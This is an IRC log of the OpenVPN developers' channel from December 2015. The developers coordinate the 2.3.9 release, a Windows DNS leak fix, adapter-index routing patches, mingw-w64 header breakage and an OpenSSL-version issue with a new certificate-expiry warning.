<@cron2> valdikss: I think this is an idea we need to evaluate, but I want it outside your "core patch" :) 06:41 <@plaisthos> I will resend my timeout and lzo patches 06:41 <@plaisthos> I think one of them had a minor fix in it but I am too lazy to figure out which 06:42 <@plaisthos> hm 06:42 <@plaisthos> the timeout patch has to be commited before 2.4 or Changes.rst has to be fixed (: 06:43 <@cron2> since we have a feature-ACK on this already (15 months already... argh) chances are good :) 06:43 <@cron2> timeout had a minor fix, you re-sent it already I seem to remember 06:44 <@plaisthos> compression patch had also a bug for old lz4 code 06:45 <@plaisthos> I accidently changed something there and the diff is completly confusing since I has the old code as addition and the new code as changes of the old code 06:48 <@plaisthos> and I sent a patch that should be easy to review ;) 06:48 <@plaisthos> one line addition to ingore 06:49 <@cron2> maybe rebasing and resending both is not such a bad idea ;-) 06:53 <@plaisthos> nah 06:53 <@plaisthos> the old version is fine 06:53 <@plaisthos> just git am and efverything is fine 10:10 <@cron2> any mattock aroudn? 10:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:16 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:17 <@cron2> now there is a mattock! 10:17 <@cron2> (maybe) 10:18 <@mattock1> you mean one without a tail? 10:18 <@cron2> one that actually talks :) 10:18 <@cron2> so... how's your release planning for 2.3.9? 10:18 <@mattock1> yeah, at least for a while 10:19 <@cron2> everything critical except for the win10 patch is in, and the win10 patch seems to see a new round of discussion between lev__, selva and valdikss which might result in a "final!" v9 tomorrow, or so... 10:19 <@cron2> so, when do we release? 10:20 < valdikss> cron2: I'll can make a fixed version right now 10:20 <@mattock1> next monday would work for me 10:21 <@mattock1> I probably won't be able to squeeze a release out tomorrow, too much other stuff to do 10:23 <@cron2> no need for a bugfix 2.3.8 release (at least, I do not see andj or syzzer waving hands), but "regular 2.3.9" 10:23 <@cron2> so folks need to come to a conclusion regarding win10 dns fix tomorrow 10:23 <@cron2> and then release monday 10:24 <@mattock1> sounds good 10:27 <@vpnHelper> RSS Update - gitrepo: Fix isatty() check for good. <https://github.com/OpenVPN/openvpn/commit/015fe7177181fb4944ddf33debcfcd20c62ba55a> 10:35 <@cron2> plaisthos: stamp-h2 - is that 2.3 or master or both? 10:36 <@plaisthos> dunno 10:36 <@plaisthos> lemme check 10:37 <@plaisthos> cron2: both 10:37 <@plaisthos> it is in include/Makefile.in 10:38 <@plaisthos> it should be deleted by that makefile after the build but my make is special or something 10:39 <@plaisthos> At least I got annoyed enough by uncommited files that I posted the patch 10:39 <@plaisthos> I am gone now, back in 2-3h 10:51 <@vpnHelper> RSS Update - gitrepo: Detect config lines that are too long and give a warning/error <https://github.com/OpenVPN/openvpn/commit/4baec3ee10b8d6826d5f076a9832a92a5cfe3676> 12:28 <@cron2> mattock1: uh, while you're around :) - any progress on changes.rst for 2.3? 12:42 <@mattock1> cron2: yes, there is progress, but it is not ready 12:44 <@mattock1> is there any particular reason to have separate Changes.rst files for master and release branches? 12:44 <@cron2> "totally different content"? 13:06 <@cron2> argh 13:06 <@cron2> our 2.3 INSTALL says 13:06 <@cron2> git checkout -b 2.2 remotes/origin/release/2.2 14:02 <@mattock1> we could possibly have just one changes.rst which includes changes in both "master" and "release/2.3" branches 14:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:55 < valdikss> pushed v9 16:08 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 16:13 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Remote host closed the connection] 19:52 -!- n13l [~n13l@aaa.anect.cz] has joined #openvpn-devel 19:52 < n13l> greetings 20:47 -!- dazo is now known as dazo_afk 23:41 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel --- Day changed Fri Dec 11 2015 01:37 < lev__> cron2: is 2.3.9 release on monday? I'll try to fix that "ipv6 netsh route" during weekend. 02:34 <@cron2> lev__: yes, monday is the current plan - it would be cool to have that, thanks! 05:17 < valdikss> A guy says that OpenVPN installer silently can't install TAP adapter on his sytem 05:18 < valdikss> And separate TAP installer works fine. Asked him to join this channel. 07:53 -!- dazo_afk is now known as dazo 08:02 <@ecrist> valdikss: it'll be funny when we find out he's running XP 08:39 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 08:47 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 09:01 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 09:09 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 11:20 -!- woodrow [sid13914@gateway/web/irccloud.com/x-rivyebjguikmdniq] has joined #openvpn-devel 14:59 < lev__> cron2: argh, we set tt->adapter_index in open_tun() which is called after do_ifconfig (which calls add_route) 14:59 < lev__> well, will figure out something 15:03 <@cron2> lev__: oh, indeed, do_ifconfig calls add_route for the "connected" network. Bah. But why not just set tt->adapter_index there as well? Since we know the value :) 15:07 < lev__> by "knowing the value" you mean calling get_adapter_index_flexibe(tt->actual_name) ? 15:15 <@cron2> well, for ifconfig you already have an adapter index in do_ifconfig() today - and one that works, otherwise ifconfig would fail. So, stuff it into tt->adapter_index and use it in add_route()? 15:16 <@cron2> open_tun() would set it again later, but I expect it to always have the same value... 15:24 < lev__> cron2: noticed that before calling add_route_connected_v6_net() I do call get_adapter_index_flexible() for "netsh set address" 15:25 < lev__> (thanks to netsh adapter index patch) 15:26 <@cron2> yep :) 15:57 < lev__> cron2: patch for master sent, tested on win7/win10 16:30 < lev__> cron2: oops, w8 a bit 16:39 < lev__> please use v2, forgot to recompile after I replaced second get_adapter_index_flexible() with "idx" 17:59 -!- s7r_ is now known as s7r 19:24 -!- dazo is now known as dazo_afk --- Day changed Sat Dec 12 2015 01:53 <@cron2> lev__: from a quick glance, v2 looks good, thanks. More later 02:21 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 02:30 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 04:07 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 04:08 -!- roentgen_ [~none@unaffiliated/roentgen] has joined #openvpn-devel 04:11 -!- roentgen [~none@unaffiliated/roentgen] has quit [Quit: No Ping reply in 180 seconds.] 04:11 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds] 04:16 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Ping timeout: 245 seconds] 04:18 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 06:23 -!- s7r_ is now known as s7r 06:50 < lev__> cron2: that up/down script patch could be applied also to 2.3 06:52 < lev__> Tested on Win7 with up/down/route-up/route-pre-down scripts. Compiled also on Linux. 10:46 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 10:47 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 11:40 -!- Netsplit *.net <-> *.split quits: ender|, @cron2 14:41 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Sun Dec 13 2015 00:03 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 00:09 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 01:14 -!- roentgen_ [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 04:26 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 06:47 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 06:47 -!- mode/#openvpn-devel [+o cron2] by ChanServ 06:47 <@cron2> re 12:09 -!- roentgen_ [~none@unaffiliated/roentgen] has joined #openvpn-devel 12:13 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 240 seconds] 12:13 -!- roentgen [~none@unaffiliated/roentgen] has quit [Ping timeout: 240 seconds] 12:13 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 240 seconds] 12:14 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 12:29 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 12:29 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 13:03 <@vpnHelper> RSS Update - gitrepo: Use adapter index for add/delete_route_ipv6 <https://github.com/OpenVPN/openvpn/commit/6417a6f8a01c702e7c8f19f01b696c3b0d2dc1f1> 13:24 <@cron2_> successful windows build...! 13:34 -!- Netsplit *.net <-> *.split quits: @mattock, @cron2_, @plaisthos, reators, @syzzer, @mattock_, roentgen_, n13l, EvilJStoker, s7r, (+11 more, use /NETSPLIT to show all of them) 13:35 -!- Netsplit over, joins: cron2_ 13:35 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:35 -!- roentgen_ [~none@unaffiliated/roentgen] has joined #openvpn-devel 13:35 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 13:35 -!- Netsplit over, joins: floppym 13:35 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 13:35 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:35 -!- Netsplit over, joins: woodrow, n13l 13:35 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 13:35 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:35 -!- Netsplit over, joins: reators 13:35 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 13:35 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:35 -!- ServerMode/#openvpn-devel [+oooo cron2_ mattock_ plaisthos dazo_afk] by verne.freenode.net 13:35 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 13:35 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:35 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:35 -!- valdikss [~valdikss@95.215.45.33] has joined #openvpn-devel 13:35 -!- Netsplit over, joins: siruf, EvilJStoker, @andj 13:35 -!- ServerMode/#openvpn-devel [+oooo syzzer vpnHelper mattock andj] by verne.freenode.net 13:35 < valdikss> Hi guys! So what about tomorrow release? No deviation from a plan? 13:38 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Quit: No Ping reply in 180 seconds.] 13:40 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 13:40 < lev__> cron2_: I compiled with VS2013, but yeah VS2010 will likely be unhappy 13:43 <@cron2_> well, if it works with VS2013, we have at least one working MSVC compiler :) - given that 2015 chokes on options.c 13:43 <@cron2_> btw, just tested the freshly-built mingw snapshot from http://build.openvpn.net/downloads/snapshots/ and it does the right thing, at least on my win7 vm 13:43 <@vpnHelper> Title: Index of /downloads/snapshots/ (at build.openvpn.net) 13:43 <@cron2_> so: success :) 14:55 <@cron2_> if (!win_wfp_block_dns(c->c1.tuntap->adapter_index)) 14:55 <@cron2_> how useful we have this field :))) 15:10 <@vpnHelper> RSS Update - gitrepo: Add Windows DNS Leak fix using WFP ('block-outside-dns') <https://github.com/OpenVPN/openvpn/commit/38c8565810f892a41a2ea0d18a707676119f1af0> 15:16 < valdikss> Yay! 15:16 < valdikss> What about 'run as administrator' for the gui? 15:20 * cron2_ has seen a big discussion but doesn't understand the implications well enough to make a call on this... 15:20 <@cron2_> I understand *unix* privileges but windows with UAC is different 15:23 <@cron2_> wondering about something else... these DEFINE_GUID() things the block-dns patch added - shouldn't they be available in a header file? Or is that header only available with MSVC, and not on mingw? 17:49 < valdikss> cron2_: I don't know why this GUIDs are not available in mingw. They should be, but they aren't. 19:33 -!- ltfish [fish@2600:3c01::f03c:91ff:fe73:12d0] has joined #openvpn-devel 19:34 -!- ltfish is now known as fish__ 19:34 -!- fish__ is now known as ltfish 22:37 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 250 seconds] 22:39 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:43 -!- roentgen_ [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] --- Day changed Mon Dec 14 2015 00:41 <@cron2_> valdikss: seems that this is an effect of "too-old mingw"... 00:41 < valdikss> cron2_: I have the latest version 00:41 <@cron2_> mattock's buildbot has these structures just fine, and blew up big time yesterday night 00:42 <@cron2_> oh 00:42 <@cron2_> no 00:42 <@cron2_> it's worse 00:42 < valdikss> cron2_: wow, that's strange. It should not complain about multiple GUID defines 00:42 <@cron2_> /usr/share/mingw-w64/include/fwpmtypes.h:51:16: error: redefinition of 'struct FWPM_DISPLAY_DATA0_' 00:43 < valdikss> cron2_: I have mingw-w64-gcc 5.3.0, mingw-w64-headers 4.0.4 00:43 <@cron2_> so that's not the GUIDs but the header files do not work right, maybe the #include order needs changing or what 00:43 <@cron2_> maybe mattock needs to upgrade :) 00:46 <@cron2_> anyway, I'm forwarding you the mail, so maybe you have an idea... 00:52 <@mattock_> hmm. I sense even more work for today 00:55 < valdikss> cron2_: the errors are strange. I mean, even endif without if in a generic header file which I don't include directly. 00:57 -!- reators [~holger@2001:1a80:2000:2:c415:d979:ecc6:b9f1] has quit [Ping timeout: 260 seconds] 00:58 < ltfish> hey guys, what was the problem? 00:58 < ltfish> I vaguely remember that I had to fix a bug in mingw-w64's header file to compile the code with valdikss's latest patch 00:59 < ltfish> there was a missing or extra #endif somewhere I think 00:59 < valdikss> Probably you all using Ubuntu or other 'stable' distro which ships a semi-broken mingw? 00:59 < ltfish> correct 01:00 < ltfish> that file is indeed broken 01:00 < valdikss> Or just outdated? I have a latest mingw version on Arch, with gcc 5.3 01:00 < ltfish> if you google it, you'll see an official fix for it 01:00 < ltfish> the version in Ubuntu's default apt-get repo is outdated 01:01 < valdikss> lev__: did you change anything? What distro and mingw version do you have? 01:02 < valdikss> Selva didn't write that it's broken for him too 01:02 < ltfish> can someone please post me the error prompt please? 01:02 < valdikss> ltfish: https://gist.github.com/ValdikSS/92ab11b1a9715a2d53a4 01:02 <@vpnHelper> Title: gist:92ab11b1a9715a2d53a4 · GitHub (at gist.github.com) 01:03 < ltfish> thanks 01:03 < ltfish> yep 01:03 < ltfish> that's the bug that's fixed in newer version of mingw-w64 01:04 < ltfish> ref: http://sourceforge.net/p/mingw-w64/mailman/mingw-w64-public/thread/1403795579-22848-2-git-send-email-martin@strongswan.org/ 01:04 <@vpnHelper> Title: MinGW-w64 - for 32 and 64 bit Windows / Mailing Lists (at sourceforge.net) 01:04 < ltfish> sorry, this one: http://sourceforge.net/p/mingw-w64/mailman/message/32503631/ 01:04 <@vpnHelper> Title: MinGW-w64 - for 32 and 64 bit Windows / Mailing Lists (at sourceforge.net) 01:07 < valdikss> ltfish: that's not all, there is another error 01:11 -!- reators [~holger@2001:1a80:2000:2:fdbf:d987:8fc1:8536] has joined #openvpn-devel 01:42 < ltfish> valdikss: there is one point that I don't understand 01:42 < ltfish> valdikss: fwpmu.h already includes fwpmtypes.h. why are you including fwpmtypes.h again in your patch? 01:46 < ltfish> and here is another patch for the second error: http://sourceforge.net/p/mingw-w64/mailman/message/32503632/ 01:46 <@vpnHelper> Title: MinGW-w64 - for 32 and 64 bit Windows / Mailing Lists (at sourceforge.net) 01:47 < ltfish> the problem should be solved after applying those two patches onto mingw-w64-headers 02:01 <@cron2_> ltfish: thanks. Can you mail that to samuli@openvpn.net so he won't miss it? 02:02 <@cron2_> (samuli=mattock, but I think he's not awake yet :) ) 02:09 < ltfish> cron2_: sure 02:13 < ltfish> cron2_: just sent 02:14 < ltfish> cron2_: are you gonna release two different versions of OpenVPN for Windows XP and higher versions of Windows? 02:14 < ltfish> cron2_: I *really* hate that idea 02:15 <@cron2_> ltfish: well, we have two different versions of the tap driver already - the ndis6 driver does not work on XP, and the old driver does not reliably work on 8+, so having two different binaries is not very much different - mattock needs to run different build scripts, which could just -D_WINNT=WINNT_VISTA and add a few libraries 02:17 <@cron2_> of course a single unified binary *has* advantages ("you know you have the right binary") - it also has disadvantages, as in, having to carry our own copies of the API definitions. We used to do that for unix (copys of parts of <route.h>) and it bit us big time when one of the OSes changed their API regarding 32/64bit... 02:18 <@cron2_> I *assume* that windows APIs are frozen and will not ever change on a struct / type definition level, though... 02:18 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 250 seconds] 02:19 <@cron2_> but in the end, I can live with both variants just fine - I feel responsible for all the unix platforms, and do my best for windows, but I am really not the final authority on windows design choices 02:19 < ltfish> cron2_: it's nice that Windows tries really hard to keep backward compatibility, and so far it looks OK 02:20 < ltfish> cron2_: I can also live with both variants, and in fact personally I have dropped support for WinXP in my own fork of OpenVPN anyways 02:20 <@cron2_> hrhr :) 02:21 <@cron2_> git master / 2.4 will not jump through hoops to support XP - our official mantra is "if we can support XP without major effort, we might do, but otherwise, just 'no'" 02:21 < ltfish> cron2_: it's just not "as clean" as it is to have multiple OpenVPN builds... but that's only my personal point of view though 02:21 <@cron2_> right now it won't work on XP because of GetBestRoute2() 02:21 < ltfish> cron2_: yep, I notice that. good job :-) 02:22 <@cron2_> so this really only is about 2.3... can you come to the IRC meeting tonight? 20:00 MET in #openvpn-meeting 02:22 <@cron2_> (19:00 GMT) 02:22 < ltfish> let me see... it might be too early for me 02:23 <@cron2_> what time zone are you in? 02:24 < ltfish> oh it's 11 am for me 02:24 < ltfish> sure, I'll be onine 02:24 < ltfish> *online 02:24 < ltfish> sorry, the timezone converter in my mind is totally not working anymore after 12 am everyday... 02:25 < lev__> valdikss: I compliled that patch with VS2013 02:25 <@cron2_> anyway, it's in 10:36 from now 02:25 < ltfish> yep 02:26 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 02:27 < ltfish> if there's gonna be a vote for multiple binaries of OpenVPN, I'll vote for no :D 02:27 < lev__> cron2_: any chance of getting "Pass adapter index to up/down scripts" patch into 2.3.9? 02:28 <@cron2_> ltfish: we try to be not overly religious, so usually it's not "voting people down" but "understanding the options, and convincing everyone that the decision done is 'right' - for appropriate values of 'right'" :-) 02:28 < ltfish> cron2_: I totally understand, jk :D 02:28 <@cron2_> lev__: it looks harmless enough, but I fought my Win7 VM until 22:30 yesterday and needed to go to bed :-) 04:23 -!- ltfish [fish@2600:3c01::f03c:91ff:fe73:12d0] has quit [Quit: WeeChat 1.0] 05:01 -!- dazo_afk is now known as dazo 06:59 <@cron2_> given that mattock volunteered to do 2.3.9 release today, I wonder which flu virus has hit him :-) 07:03 <@mattock_> no flu virus, too much other stuff 07:03 <@mattock_> I just arrived home and can start thinking about 2.3.9 :| 07:04 <@mattock_> is everything (except changes.rst) in the release/2.3 branch already? 07:13 < valdikss> mattock_: There are 2 opened questions from me right now: 07:13 < valdikss> mattock_: 1. should we include ltfish 07:13 < valdikss> \ patches? 07:13 < valdikss> mattock_: 2. should we check 'run as administrator' in this release by default 07:31 <@cron2_> and 3. should Lev__'s env id patch be in 07:32 <@cron2_> and 4. can mattock build it :-) 07:56 * lev__ thinks that env id patch could be included 08:01 * plaisthos does not know what the env id patch does 08:03 <@cron2_> plaisthos: http://article.gmane.org/gmane.network.openvpn.devel/10762 08:03 <@vpnHelper> Title: Gmane -- PATCH Pass adapter index to up down scripts (at article.gmane.org) 08:05 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 256 seconds] 08:07 <@plaisthos> all these ifdef beg the question if passing c->c1.tuntap would be better 08:12 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 08:21 <@mattock_> ok, finally I can focus on this 2.3.9 thing :) 08:21 <@cron2_> plaisthos: right. lev__: you're listening? ;-) 08:25 < lev__> plaisthos: in 3 places out of 5 c1.tuntap is destructed, that's why we have tuntap_actual which is copied from tuntap before it got deleted 08:27 < lev__> I'm talking about do_close_tun 08:36 <@plaisthos> lev__: ah okay 08:36 <@plaisthos> lev__: I just took a short glimse over the patch 08:44 <@cron2_> good point indeed :) 08:44 * cron2_ is afk for a few hours... bbl @ meeting 08:57 <@mattock_> I'll send a meeting announcement 08:58 <@mattock_> I think we should include the "Make block-outside-dns OS-agnostic" patch 08:58 <@mattock_> has it seen lots of testing? 09:18 <@mattock_> https://community.openvpn.net/openvpn/wiki/Topics-2015-12-14 09:18 <@vpnHelper> Title: Topics-2015-12-14 – OpenVPN Community (at community.openvpn.net) 09:19 <@mattock_> please edit as necessary 09:24 <@mattock_> invitation sent 09:24 <@mattock_> I'll get back to the changelog 09:25 <@mattock_> need to add some high-level overview of it 09:25 <@plaisthos> maybe also include an html version of the rst file in the tarball 09:26 <@mattock_> well, I could do that, because I have James' rst2html script 09:26 <@plaisthos> might be easier for users to view 09:33 <@mattock_> yeah 09:43 < lev__> added https://community.openvpn.net/openvpn/ticket/637 to track tickets for today's meeting 09:43 <@vpnHelper> Title: #637 (Windows ipv6 routing netsh.exe fails) – OpenVPN Community (at community.openvpn.net) 09:47 < lev__> which can be closed if "pass adapter index to scripts" patch is merged 10:00 <@cron2_> mattock_: I think it received some smoke-testing from Selva so far... 10:01 <@cron2_> lev__: I'd say it can be closed right away - "ipv6 routing netsh.exe" is fixed with your patch, no? ;-) 10:05 < lev__> cron2_: well yeah, but it also says that "openvpn should also pass the interface number to scripts on Windows", I think it makes sense 10:06 <@cron2_> it does? well, then yes :) 10:07 <@plaisthos> yeah that makes sense even for me 10:08 <@plaisthos> forsome reason you ight want to do the netsh commands in your scripts yourself 10:09 * cron2_ does not want to do netsh commands, ever :) (but yeah, I can see the point) 11:09 -!- ltfish [fish@2600:3c01::f03c:91ff:fe73:12d0] has joined #openvpn-devel 11:28 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 11:45 <@mattock_> here is a proposed Changes.rst, converted to HTML: 11:45 <@mattock_> http://build.openvpn.net/Changes.html 11:45 <@vpnHelper> RSS Update - tickets: #638: 64 bit installer will not uninstall 32bit previous version <https://community.openvpn.net/openvpn/ticket/638> 11:48 <@cron2_> mattock_: have you patched your mingw already? A new snapshot build is coming... 11:52 <@vpnHelper> RSS Update - gitrepo: Pass adapter index to up/down scripts <https://github.com/OpenVPN/openvpn/commit/9dff2c1f106865a72a1d505076751dde170e88dc> 11:54 <@mattock_> cron2_: not yet, that is next on my agenda 11:54 <@mattock_> through we have an internal meeting in ~6 minutes 11:55 <@mattock_> I'll have a look at the mingw patches 11:55 <@cron2_> patch quickly :) 12:04 <@mattock_> done, I'll run buildtest.sh manually to see what happens 12:05 <@cron2_> cool :) 12:06 <@cron2_> In file included from dsa_depr.c:78:0: 12:06 <@cron2_> ../cryptlib.h:69:23: fatal error: ms/uplink.h: No such file or directory 12:06 <@cron2_> that one is new 12:07 <@cron2_> (and it actually fails in openssl now) 12:12 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 12:12 < lev__> vpnHelper has quit? 12:13 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 12:13 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 12:15 <@mattock_> cron2: build works now 12:16 <@mattock_> the failed build was apparently initiated before I had patches mingw-w64 12:17 <@mattock_> I have to create fixed NSIS packages, so that I don't have to patch the header files on every build computer separately 12:32 <@cron2_> I'm amazed at your optimism regarding the amount of topics we can handle today :-) - I think if we can "build 2.3.9, agree on Changes.pst, tag and push" sorted out that we've done quite well :-) 12:49 <@vpnHelper> RSS Update - tickets: #639: non-interruptible loop in windows dns resolution failure <https://community.openvpn.net/openvpn/ticket/639> 12:55 < valdikss> Fknittel patches? https://github.com/fknittel/openvpn/tree/feat_deferred_client-connect 12:55 <@vpnHelper> Title: fknittel/openvpn at feat_deferred_client-connect · GitHub (at github.com) 12:56 * cron2_ points four lines up 12:57 < lev__> cron2_: you could probably assign https://community.openvpn.net/openvpn/ticket/639 to me 12:57 <@vpnHelper> Title: #639 (non-interruptible loop in windows dns resolution failure) – OpenVPN Community (at community.openvpn.net) 12:58 < lev__> oh yeah, +1 for fknittel patches but maybe not today 12:58 <@cron2_> lev__: if you feel like it, happy to :-) - I left it open for the time being as a reminder "something strange happened to me here" but didn't know who understands windows well enough to see why signals are getting lost 13:05 < valdikss> ltfish's patch v2 looks good for me 13:05 < ltfish> valdikss: thanks :-) 13:48 -!- dazo is now known as dazo_afk 14:11 <@syzzer> cron2_: special patch on this list for you my friend ;) 14:11 <@cron2_> is it christmas already? *looks* 14:12 <@cron2_> whee!! it is! 14:12 <@cron2_> will the polarssl part work on 2.3? 14:14 <@syzzer> cron2_: nope 14:15 <@syzzer> well, as soon as we move to 2.3 it will ;) 14:15 <@syzzer> so maybe I should just invest in that 14:15 <@syzzer> s/2.3/1.3/ 14:16 <@cron2_> guessed so :) - yes, this is why I'm pushing for 2.3.9 release, so we can do 2.3.10 with 1.3 "as planned" before end of year... 14:18 <@syzzer> yes, and this whole windows distraction nicely gives me a bit of time to produce patches :) 14:20 <@cron2_> ... and I can't really apply and push right now as my tree has ltfish v3 already :) 14:21 <@cron2_> in total, it looks much simpler that I was afraid it would be 14:24 <@cron2_> argh... this is called mbedtls_x509_time_is_future() now... (compat-1.3.h) - I was actually trying to find out how it looks like in 1.2... 14:27 <@cron2_> of course I'm totally insatiable and want to print out actual expiry/start dates there... *duck*... but for the time being this already helps give users a hint where to look 14:34 <@syzzer> cron2_: heh, that would indeed be even better 14:35 <@syzzer> (and the mbedtls_ blurp is 2.x, not 1.2 ;) ) 14:35 <@cron2_> yes, that was just a generic "sheesh, can't they keep *anything* stable" rant 14:40 <@cron2_> whee! Mon Dec 14 21:39:54 2015 WARNING: Your certificate has expired! 14:47 <@vpnHelper> RSS Update - gitrepo: Warn user if their certificate has expired <https://github.com/OpenVPN/openvpn/commit/091edd8e2996867447eeb665af957547aa8b3107> 15:02 <@cron2_> hrmph... ubuntu1204 fails to build, complains about 15:02 <@cron2_> undefined reference to `SSL_CTX_get0_certificate' 15:02 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:02 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 15:03 <@syzzer> argh 15:04 <@cron2_> so does netbsd 5.1, opensolaris... :( (of course I only tested on gentoo, which has a new openssl version) 15:04 <@syzzer> ok, let me see of there is an older equivalent, or just add #ifdefs... 15:05 <@cron2_> nbsd51 has 0.9.9, osol10 has 0.9.8-something 15:06 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 15:06 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:06 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 15:24 <@cron2_> haha, buildbot is so right :-) 15:24 <@cron2_> Blamelist: Steffan Karger <steffan@karger.me> 15:24 <@cron2_> "*I* did not do anything, all *his* fault" ;-) 15:28 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 15:28 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:28 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 15:29 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 15:53 <@syzzer> cron2_: indeed :( 15:53 <@syzzer> although not doing anything might count too 15:54 <@syzzer> anyway, this new get0_certificate() is available since 1.0.2. I can work around it for older versions, but it will be rather ugly. Can you live with having this functionality for OpenSSL 1.0.2+ only/ 17:47 <@syzzer> dazo_afk: you are right, I already mailed a 'fix' 19:24 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 19:31 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 21:49 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 21:51 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds] 23:08 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 23:15 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Tue Dec 15 2015 01:30 <@cron2_> syzzer: how is this done in older openssl versions? But for now, #ifdef 1.0.2 is better than "broken tree" :) 01:55 <@vpnHelper> RSS Update - gitrepo: Disable certificate notBefore/notAfter sanity check on OpenSSL < 1.0.2 <https://github.com/OpenVPN/openvpn/commit/644f2cdd13f49cd374aebc1fc506474104aac372> 01:56 <@syzzer> cron2_: either you keep a cached copy of your parsed certificate (which is annoying, because we need to do that for files, pkcs11, management, etc...) 01:56 <@syzzer> ah, don't forget ms crapi 01:57 <@syzzer> or, try to extract the cert from the opaque struct using openssl sourcery 01:58 <@syzzer> but as I stated in my commit msg, I think that is simply not worth it. How many people are running the newest openvpn release but not openssl 1.0.2? 01:59 <@cron2_> most likely "everyone not on gentoo"... 01:59 <@syzzer> those won't have newest openvpn either 02:01 <@cron2_> well, on the BSDs, the port usually gets updated fairly quickly (it's at 2.3.8 now), but base openssl is still at 1.0.1l (on 10.1-RELEASE) 02:01 <@syzzer> of mattock_ ships with 1.0.2, at least all our windows users will have the fix :) 02:01 <@cron2_> well, I can accept the argument that it's just too complicated to get it done nicely - the "who runs a newer version of openvpn on a system with older openssl" is not that a strong one - some people actually compile from source :-) 02:02 <@cron2_> MacOS X 10.10 has openssl 0.9.8zg... 02:05 <@syzzer> yeah, OSX deprecated OpenSSL... I guess tunnelblick / viscosity actually ship their own, like we do on Windows (never checked though) 02:06 <@syzzer> but maybe dazo_afk comes up with an alternative, 